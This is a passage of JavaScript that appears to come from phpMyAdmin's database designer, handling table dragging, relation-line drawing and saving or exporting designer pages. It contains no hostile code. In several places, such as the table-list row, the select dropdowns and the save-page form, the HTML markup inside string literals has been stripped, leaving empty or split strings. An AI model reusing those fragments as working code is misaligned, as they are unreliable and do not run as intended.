parseFloat($curClick.attr('data-top') || $curClick.css('top')); var newX = curX - directionEffect * deltaX; var newY = curY - deltaY; $curClick.attr('data-' + mainDirection, newX); $curClick.attr('data-top', newY); if (onGrid) { newX = parseInt(newX / gridSize) * gridSize; newY = parseInt(newY / gridSize) * gridSize; } if (newX < 0) { newX = 0; } else if (newY < 0) { newY = 0; } $curClick.css(mainDirection, newX + 'px'); $curClick.css('top', newY + 'px'); } else if (layerMenuCurClick) { if (menuMoved) { deltaX = -deltaX; } var $layerMenu = $('#layer_menu'); var newWidth = $layerMenu.width() + directionEffect * deltaX; if (newWidth < 150) { newWidth = 150; } $layerMenu.width(newWidth); } if (onRelation || onDisplayField) { document.getElementById('designer_hint').style.left = (globX + 20) + 'px'; document.getElementById('designer_hint').style.top = (globY + 20) + 'px'; } }; DesignerMove.mouseUp = function () { if (curClick !== null) { document.getElementById('canvas').style.display = 'inline-block'; DesignerMove.reload(); curClick.style.zIndex = 1; curClick = null; } layerMenuCurClick = 0; }; // ------------------------------------------------------------------------------ DesignerMove.canvasPos = function () { canvasWidth = document.getElementById('canvas').width = osnTabWidth - 3; canvasHeight = document.getElementById('canvas').height = osnTabHeight - 3; if (isIe) { document.getElementById('canvas').style.width = ((osnTabWidth - 3) ? (osnTabWidth - 3) : 0) + 'px'; document.getElementById('canvas').style.height = ((osnTabHeight - 3) ? (osnTabHeight - 3) : 0) + 'px'; } }; DesignerMove.osnTabPos = function () { osnTabWidth = parseInt(document.getElementById('osn_tab').style.width, 10); osnTabHeight = parseInt(document.getElementById('osn_tab').style.height, 10); }; DesignerMove.setDefaultValuesFromSavedState = function () { if ($('#angular_direct_button').attr('class') === 'M_butt') { onAngularDirect = 0; } else { onAngularDirect = 1; } DesignerMove.angularDirect(); if ($('#grid_button').attr('class') === 'M_butt') { onGrid = 1; } else { onGrid = 0; } DesignerMove.grid(); var $relLineInvert = $('#relLineInvert'); if ($relLineInvert.attr('class') === 'M_butt') { showRelationLines = false; $relLineInvert.attr('class', 'M_butt'); } else { showRelationLines = true; $relLineInvert.attr('class', 'M_butt_Selected_down'); } DesignerMove.relationLinesInvert(); if ($('#pin_Text').attr('class') === 'M_butt_Selected_down') { alwaysShowText = true; DesignerMove.showText(); } else { alwaysShowText = false; } var $keySbAll = $('#key_SB_all'); if ($keySbAll.attr('class') === 'M_butt_Selected_down') { $keySbAll.trigger('click'); $keySbAll.toggleClass('M_butt_Selected_down'); $keySbAll.toggleClass('M_butt'); } var $keyLeftRight = $('#key_Left_Right'); if ($keyLeftRight.attr('class') === 'M_butt_Selected_down') { $keyLeftRight.trigger('click'); } }; DesignerMove.main = function () { // ---CROSS document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll DesignerMove.osnTabPos(); DesignerMove.canvasPos(); DesignerMove.smallTabRefresh(); DesignerMove.reload(); DesignerMove.setDefaultValuesFromSavedState(); if (isIe) { DesignerMove.generalScroll(); } }; DesignerMove.resizeOsnTab = function () { var maxX = 0; var maxY = 0; for (var key in jTabs) { var kX = parseInt(document.getElementById(key).style[mainDirection], 10) + document.getElementById(key).offsetWidth; var kY = parseInt(document.getElementById(key).style.top, 10) + document.getElementById(key).offsetHeight; maxX = maxX < kX ? kX : maxX; maxY = maxY < kY ? kY : maxY; } osnTabWidth = maxX + 50; osnTabHeight = maxY + 50; DesignerMove.canvasPos(); }; /** * Draw a colored line * * @param {number} x1 * @param {number} x2 * @param {number} y1 * @param {number} y2 * @param {HTMLElement} osnTab * @param {string} colorTarget * @return {void} */ DesignerMove.drawLine0 = function (x1, x2, y1, y2, osnTab, colorTarget) { DesignerMove.line0( x1 + directionEffect * osnTab.offsetLeft, y1 - osnTab.offsetTop, x2 + directionEffect * osnTab.offsetLeft, y2 - osnTab.offsetTop, DesignerMove.getColorByTarget(colorTarget) ); }; /** * refreshes display, must be called after state changes */ DesignerMove.reload = function () { DesignerMove.resizeOsnTab(); var n; var x1; var x2; var a = []; var K; var key; var key2; var key3; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name if (!document.getElementById('check_vis_' + key2).checked || !document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { // if hide continue; } var x1Left = document.getElementById(key2).offsetLeft + 1; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft; var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var rowOffsetTop = 0; var tabHideButton = document.getElementById('id_hide_tbody_' + key2); if (tabHideButton.innerHTML === 'v') { var fromColumn = document.getElementById(key2 + '.' + key3); if (fromColumn) { rowOffsetTop = fromColumn.offsetTop; } else { continue; } } var y1 = document.getElementById(key2).offsetTop + rowOffsetTop + heightField; rowOffsetTop = 0; tabHideButton = document.getElementById('id_hide_tbody_' + contr[K][key][key2][key3][0]); if (tabHideButton.innerHTML === 'v') { var toColumn = document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]); if (toColumn) { rowOffsetTop = toColumn.offsetTop; } else { continue; } } var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + rowOffsetTop + heightField; DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1] ); } } } } }; /** * draws a line from x1:y1 to x2:y2 with color * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line = function (x1, y1, x2, y2, colorLine) { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.strokeStyle = colorLine; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.stroke(); }; /** * draws a relation/constraint line, whether angular or not * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line0 = function (x1, y1, x2, y2, colorLine) { if (! showRelationLines) { return; } DesignerMove.circle(x1, y1, 3, 3, colorLine); DesignerMove.rect(x2 - 1, y2 - 2, 4, 4, colorLine); if (onAngularDirect) { DesignerMove.line2(x1, y1, x2, y2, colorLine); } else { DesignerMove.line3(x1, y1, x2, y2, colorLine); } }; /** * draws a angular relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line2 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { x1Local += smAdd; x2Local += smAdd; } else if (sLeft) { x1Local -= smAdd; x2Local -= smAdd; } else if (x1 < x2) { x1Local += smAdd; x2Local -= smAdd; } else { x1Local -= smAdd; x2Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); }; /** * draws a relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line3 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { if (x1 < x2) { x1Local += x2 - x1 + smAdd; x2Local += smAdd; } else { x2Local += x1 - x2 + smAdd; x1Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } if (sLeft) { if (x1 < x2) { x2Local -= x2 - x1 + smAdd; x1Local -= smAdd; } else { x1Local -= x1 - x2 + smAdd; x2Local -= smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } var xS = (x1 + x2) / 2; DesignerMove.line(x1, y1, xS, y1, colorLine); DesignerMove.line(xS, y2, x2, y2, colorLine); DesignerMove.line(xS, y1, xS, y2, colorLine); }; DesignerMove.circle = function (x, y, r, w, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.beginPath(); ctx.moveTo(x, y); ctx.lineWidth = w; ctx.strokeStyle = color; ctx.arc(x, y, r, 0, 2 * Math.PI, true); ctx.stroke(); }; DesignerMove.clear = function () { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, canvasWidth, canvasHeight); }; DesignerMove.rect = function (x1, y1, w, h, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.fillStyle = color; ctx.fillRect(x1, y1, w, h); }; // --------------------------- FULLSCREEN ------------------------------------- DesignerMove.toggleFullscreen = function () { var valueSent = ''; var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); var $content = $('#page_content'); const pageContent = document.getElementById('page_content'); if (! document.fullscreenElement) { $img.attr('src', $img.data('exit')) .attr('title', $span.data('exit')); $span.text($span.data('exit')); $content .addClass('content_fullscreen') .css({ 'width': screen.width - 5, 'height': screen.height - 5 }); $('#osn_tab').css({ 'width': screen.width + 'px', 'height': screen.height }); valueSent = 'on'; pageContent.requestFullscreen(); } else { $img.attr('src', $img.data('enter')) .attr('title', $span.data('enter')); $span.text($span.data('enter')); $content.removeClass('content_fullscreen') .css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); document.exitFullscreen(); valueSent = 'off'; } DesignerMove.saveValueInConfig('full_screen', valueSent); }; DesignerMove.addTableToTablesList = function (index, tableDom) { var db = $(tableDom).find('.small_tab_pref').attr('db'); var table = $(tableDom).find('.small_tab_pref').attr('table_name'); var dbEncoded = $(tableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $(tableDom).find('.small_tab_pref').attr('table_name_url'); var tableIsChecked = $(tableDom).css('display') === 'block' ? 'checked' : ''; var checkboxStatus = (tableIsChecked === 'checked') ? Messages.strHide : Messages.strShow; var $newTableLine = $('' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + $('
        ').text(db + '.' + table).html() + '' + ''); $('#id_scroll_tab table').first().append($newTableLine); $($newTableLine).find('.scroll_tab_struct').on('click', function () { DesignerMove.startTabUpd(db, table); }); $($newTableLine).on('click', '.designer_Tabs2,.designer_Tabs', function () { DesignerMove.selectTab($(this).attr('designer_url_table_name')); }); $($newTableLine).find('.scroll_tab_checkbox').on('click', function () { $(this).attr('title', function (i, currentvalue) { return currentvalue === Messages.strHide ? Messages.strShow : Messages.strHide; }); DesignerMove.visibleTab(this,$(this).val()); }); var $tablesCounter = $('#tables_counter'); $tablesCounter.text(parseInt($tablesCounter.text(), 10) + 1); }; /** * This function shows modal with Go buttons where required in designer * @param {object} form * @param {string} heading * @param {string} type * * @return {object} modal; */ DesignerMove.displayModal = function (form, heading, type) { var modal = $(type); modal.modal('show'); modal.find('.modal-body').first().html(form); $(type + 'Label').first().html(heading); return modal; }; DesignerMove.addOtherDbTables = function () { var $selectDb = $(''); $selectDb.append(''); var $selectTable = $(''); $selectTable.append(''); $.post('index.php?route=/sql', { 'ajax_request' : true, 'sql_query' : 'SHOW databases;', 'server': CommonParams.get('server') }, function (data) { $(data.message).find('table.table_results.data.ajax').find('td.data').each(function () { var val = $(this)[0].innerText; $selectDb.append($('').val(val).text(val)); }); }); var $form = $('
        ') .append($selectDb).append($selectTable); var modal = DesignerMove.displayModal($form, Messages.strAddTables, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var db = $('#add_table_from').val(); var table = $('#add_table').val(); // Check if table already imported or not. var $table = $('[id="' + encodeURIComponent(db) + '.' + encodeURIComponent(table) + '"]'); if ($table.length !== 0) { Functions.ajaxShowMessage( Functions.sprintf(Messages.strTableAlreadyExists, db + '.' + table), undefined, 'error' ); return; } $.post('index.php?route=/database/designer', { 'ajax_request' : true, 'dialog' : 'add_table', 'db' : db, 'table' : table, 'server': CommonParams.get('server') }, function (data) { var $newTableDom = $(data.message); $newTableDom.find('a').first().remove(); var dbEncoded = $($newTableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $($newTableDom).find('.small_tab_pref').attr('table_name_url'); if (typeof dbEncoded === 'string' && typeof tableEncoded === 'string') { // Do not try to add if attr not found ! $('#container-form').append($newTableDom); DesignerMove.enableTableEvents(null, $newTableDom); DesignerMove.addTableToTablesList(null, $newTableDom); jTabs[dbEncoded + '.' + tableEncoded] = 1; DesignerMove.markUnsaved(); } }); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); $('#add_table_from').on('change', function () { if ($(this).val()) { var dbName = $(this).val(); var sqlQuery = 'SHOW tables;'; $.post('index.php?route=/sql', { 'ajax_request' : true, 'sql_query': sqlQuery, 'db' : dbName, 'server': CommonParams.get('server') }, function (data) { $selectTable.html(''); var rows = $(data.message).find('table.table_results.data.ajax').find('td.data'); if (rows.length === 0) { $selectTable.append(''); } rows.each(function () { var val = $(this)[0].innerText; $selectTable.append($('').val(val).text(val)); }); }); } }); }; // ------------------------------ NEW ------------------------------------------ DesignerMove.new = function () { DesignerMove.promptToSaveCurrentPage(function () { DesignerMove.loadPage(-1); }); }; // ------------------------------ SAVE ------------------------------------------ // (del?) no for pdf DesignerMove.save = function (url) { for (var key in jTabs) { document.getElementById('t_x_' + key + '_').value = parseInt(document.getElementById(key).style.left, 10); document.getElementById('t_y_' + key + '_').value = parseInt(document.getElementById(key).style.top, 10); document.getElementById('t_v_' + key + '_').value = document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1; document.getElementById('t_h_' + key + '_').value = document.getElementById('check_vis_' + key).checked ? 1 : 0; } document.getElementById('container-form').action = url; $('#container-form').trigger('submit'); }; DesignerMove.getUrlPos = function (forceString) { var key; if (designerTablesEnabled || forceString) { var poststr = ''; var argsep = CommonParams.get('arg_separator'); var i = 1; for (key in jTabs) { poststr += argsep + 't_x[' + i + ']=' + parseInt(document.getElementById(key).style.left, 10); poststr += argsep + 't_y[' + i + ']=' + parseInt(document.getElementById(key).style.top, 10); poststr += argsep + 't_v[' + i + ']=' + (document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1); poststr += argsep + 't_h[' + i + ']=' + (document.getElementById('check_vis_' + key).checked ? 1 : 0); poststr += argsep + 't_db[' + i + ']=' + $(document.getElementById(key)).attr('db_url'); poststr += argsep + 't_tbl[' + i + ']=' + $(document.getElementById(key)).attr('table_name_url'); i++; } return poststr; } else { var coords = []; for (key in jTabs) { if (document.getElementById('check_vis_' + key).checked) { var x = parseInt(document.getElementById(key).style.left, 10); var y = parseInt(document.getElementById(key).style.top, 10); var tbCoords = new DesignerObjects.TableCoordinate( $(document.getElementById(key)).attr('db_url'), $(document.getElementById(key)).attr('table_name_url'), -1, x, y); coords.push(tbCoords); } } return coords; } }; DesignerMove.save2 = function (callback) { if (designerTablesEnabled) { var argsep = CommonParams.get('arg_separator'); var poststr = 'operation=savePage' + argsep + 'save_page=same' + argsep + 'ajax_request=true'; poststr += argsep + 'server=' + server + argsep + 'db=' + encodeURIComponent(db) + argsep + 'selected_page=' + selectedPage; poststr += DesignerMove.getUrlPos(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', poststr, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } } }); } else { var name = $('#page_name').html().trim(); DesignerPage.saveToSelectedPage(db, selectedPage, name, DesignerMove.getUrlPos(), function () { DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.submitSaveDialogAndClose = function (callback, modal) { var $form = $('#save_page'); var name = $form.find('input[name="selected_value"]').val().trim(); if (name === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, false); return; } modal.modal('hide'); if (designerTablesEnabled) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } $('#page_name').text(name); if (typeof callback !== 'undefined') { callback(); } } }); } else { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } $('#page_name').text(page.pageDescr); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.save3 = function (callback) { if (selectedPage !== -1) { DesignerMove.save2(callback); } else { var $form = $('
        ') .append('') .append($('').val(db)) .append('') .append('') .append(':'); var modal = DesignerMove.displayModal($form, Messages.strSavePage, '#designerGoModal'); $form.on('submit', function (e) { e.preventDefault(); DesignerMove.submitSaveDialogAndClose(callback, modal); }); $('#designerModalGoButton').on('click', function () { var $form = $('#save_page'); $form.trigger('submit'); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }; // ------------------------------ EDIT PAGES ------------------------------------------ DesignerMove.editPages = function () { DesignerMove.promptToSaveCurrentPage(function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'edit' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strOpenPage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); DesignerMove.loadPage(selected); }); } }); // end $.post() }); }; // ----------------------------- DELETE PAGES --------------------------------------- DesignerMove.deletePages = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'delete' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strDeletePage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } var $messageBox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var deletingCurrentPage = parseInt(selected) === selectedPage; Functions.prepareForAjaxRequest($form); if (designerTablesEnabled) { $.post($form.attr('action'), $form.serialize(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); // end $.post() } else { DesignerPage.deletePage(selected, function (success) { if (! success) { Functions.ajaxShowMessage('Error', false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; // ------------------------------ SAVE AS PAGES --------------------------------------- DesignerMove.saveAs = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'save_as' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strSavePageAs, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#save_as_pages'); var selectedValue = $form.find('input[name="selected_value"]').val().trim(); var $selectedPage = $form.find('select[name="selected_page"]'); var choice = $form.find('input[name="save_page"]:checked').val(); var name = ''; if (choice === 'same') { if ($selectedPage.val() === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } name = $selectedPage.find('option:selected').text(); } else if (choice === 'new') { if (selectedValue === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, 2000); return; } name = selectedValue; } var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); if (designerTablesEnabled) { Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } DesignerMove.loadPage(selectedPage); } }); // end $.post() } else { if (choice === 'same') { var selectedPageId = $selectedPage.find('option:selected').val(); DesignerPage.saveToSelectedPage(db, selectedPageId, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } else if (choice === 'new') { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); // select current page by default if (selectedPage !== -1) { $('select[name="selected_page"]').val(selectedPage); } } }); // end $.post() }; DesignerMove.promptToSaveCurrentPage = function (callback) { if (change === 1 || selectedPage === -1) { var modal = DesignerMove.displayModal('
        ' + Messages.strLeavingPage + '
        ', Messages.strSavePage, '#designerPromptModal'); $('#designerModalYesButton').on('click', function () { modal.modal('hide'); DesignerMove.save3(callback); }); $('#designerModalNoButton').on('click', function () { modal.modal('hide'); callback(); }); } else { callback(); } }; // ------------------------------ EXPORT PAGES --------------------------------------- DesignerMove.exportPages = function () { var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'export', 'selected_page': selectedPage }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $form = $(data.message); if (!designerTablesEnabled) { $form.append(''); } $.each(DesignerMove.getUrlPos(true).substring(1).split(argsep), function () { var pair = this.split('='); var input = $(''); input.attr('name', pair[0]); input.attr('value', pair[1]); $form.append(input); }); var $formatDropDown = $form.find('#plugins'); $formatDropDown.on('change', function () { var format = $formatDropDown.val(); $form.find('.format_specific_options').hide(); $form.find('#' + format + '_options').show(); }).trigger('change'); var modal = DesignerMove.displayModal($form, Messages.strExportRelationalSchema, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { $('#id_export_pages').trigger('submit'); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; DesignerMove.loadPage = function (page) { if (designerTablesEnabled) { var paramPage = ''; var argsep = CommonParams.get('arg_separator'); if (page !== null) { paramPage = argsep + 'page=' + page; } $('') .appendTo($('#page_content')) .trigger('click'); } else { if (page === null) { DesignerPage.showTablesInLandingPage(db); } else if (page > -1) { DesignerPage.loadHtmlForPage(page); } else if (page === -1) { DesignerPage.showNewPageTables(true); } } DesignerMove.markSaved(); }; DesignerMove.grid = function () { var valueSent = ''; if (!onGrid) { onGrid = 1; valueSent = 'on'; document.getElementById('grid_button').className = 'M_butt_Selected_down'; } else { document.getElementById('grid_button').className = 'M_butt'; onGrid = 0; valueSent = 'off'; } DesignerMove.saveValueInConfig('snap_to_grid', valueSent); }; DesignerMove.angularDirect = function () { var valueSent = ''; if (onAngularDirect) { onAngularDirect = 0; valueSent = 'angular'; document.getElementById('angular_direct_button').className = 'M_butt_Selected_down'; } else { onAngularDirect = 1; valueSent = 'direct'; document.getElementById('angular_direct_button').className = 'M_butt'; } DesignerMove.saveValueInConfig('angular_direct', valueSent); DesignerMove.reload(); }; DesignerMove.saveValueInConfig = function (indexSent, valueSent) { $.post('index.php?route=/database/designer', { 'operation': 'save_setting_value', 'index': indexSent, 'ajax_request': true, 'server': server, 'value': valueSent }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } }); }; // ++++++++++++++++++++++++++++++ RELATION ++++++++++++++++++++++++++++++++++++++ DesignerMove.startRelation = function () { if (onDisplayField) { return; } if (!onRelation) { document.getElementById('foreign_relation').style.display = ''; onRelation = 1; document.getElementById('designer_hint').innerHTML = Messages.strSelectReferencedKey; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('rel_button').className = 'M_butt_Selected_down'; } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('rel_button').className = 'M_butt'; clickField = 0; onRelation = 0; } }; // table field DesignerMove.clickField = function (db, T, f, pk) { var pkLocal = parseInt(pk); var argsep = CommonParams.get('arg_separator'); if (onRelation) { if (!clickField) { // .style.display=='none' .style.display = 'none' if (!pkLocal) { alert(Messages.strPleaseSelectPrimaryOrUniqueKey); return;// 0; }// PK if (jTabs[db + '.' + T] !== 1) { document.getElementById('foreign_relation').style.display = 'none'; } clickField = 1; linkRelation = 'DB1=' + db + argsep + 'T1=' + T + argsep + 'F1=' + f; document.getElementById('designer_hint').innerHTML = Messages.strSelectForeignKey; } else { DesignerMove.startRelation(); // hidden hint... if (jTabs[db + '.' + T] !== 1 || !pkLocal) { document.getElementById('foreign_relation').style.display = 'none'; } var left = globX - (document.getElementById('layer_new_relation').offsetWidth >> 1); document.getElementById('layer_new_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_new_relation').offsetHeight; document.getElementById('layer_new_relation').style.top = top + 'px'; document.getElementById('layer_new_relation').style.display = 'block'; linkRelation += argsep + 'DB2=' + db + argsep + 'T2=' + T + argsep + 'F2=' + f; } } if (onDisplayField) { var fieldNameToSend = decodeURIComponent(f); var newDisplayFieldClass = 'tab_field'; var oldTabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); // if is display field if (displayField[T] === f) {// The display field is already the one defined, user wants to remove it newDisplayFieldClass = 'tab_field'; delete displayField[T]; if (oldTabField) {// Clear the style // Set display field class on old item oldTabField.className = 'tab_field'; } fieldNameToSend = ''; } else { newDisplayFieldClass = 'tab_field_3'; if (displayField[T]) { // Had a previous one, clear it if (oldTabField) { // Set display field class on old item oldTabField.className = 'tab_field'; } delete displayField[T]; } displayField[T] = f; var tabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); if (tabField) { // Set new display field class tabField.className = newDisplayFieldClass; } } onDisplayField = 0; document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', { 'operation': 'setDisplayField', 'ajax_request': true, 'server': server, 'db': db, 'table': T, 'field': fieldNameToSend }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); } }); } }; DesignerMove.newRelation = function () { document.getElementById('layer_new_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db + argsep + 'db2=p'; linkRelation += argsep + 'on_delete=' + document.getElementById('on_delete').value + argsep + 'on_update=' + document.getElementById('on_update').value; linkRelation += argsep + 'operation=addNewRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; // -------------------------- create tables ------------------------------------- DesignerMove.startTableNew = function () { CommonParams.set('table', ''); CommonActions.refreshMain('index.php?route=/table/create'); }; DesignerMove.startTabUpd = function (db, table) { CommonParams.set('db', db); CommonParams.set('table', table); CommonActions.refreshMain('index.php?route=/table/structure'); }; // --------------------------- hide tables -------------------------------------- // max/min all tables DesignerMove.smallTabAll = function (idThis) { var icon = idThis.children[0]; var valueSent = ''; if (icon.alt === 'v') { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() === 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = '>'; icon.src = icon.dataset.right; valueSent = 'v'; } else { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() !== 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = 'v'; icon.src = icon.dataset.down; valueSent = '>'; } DesignerMove.saveValueInConfig('small_big_all', valueSent); 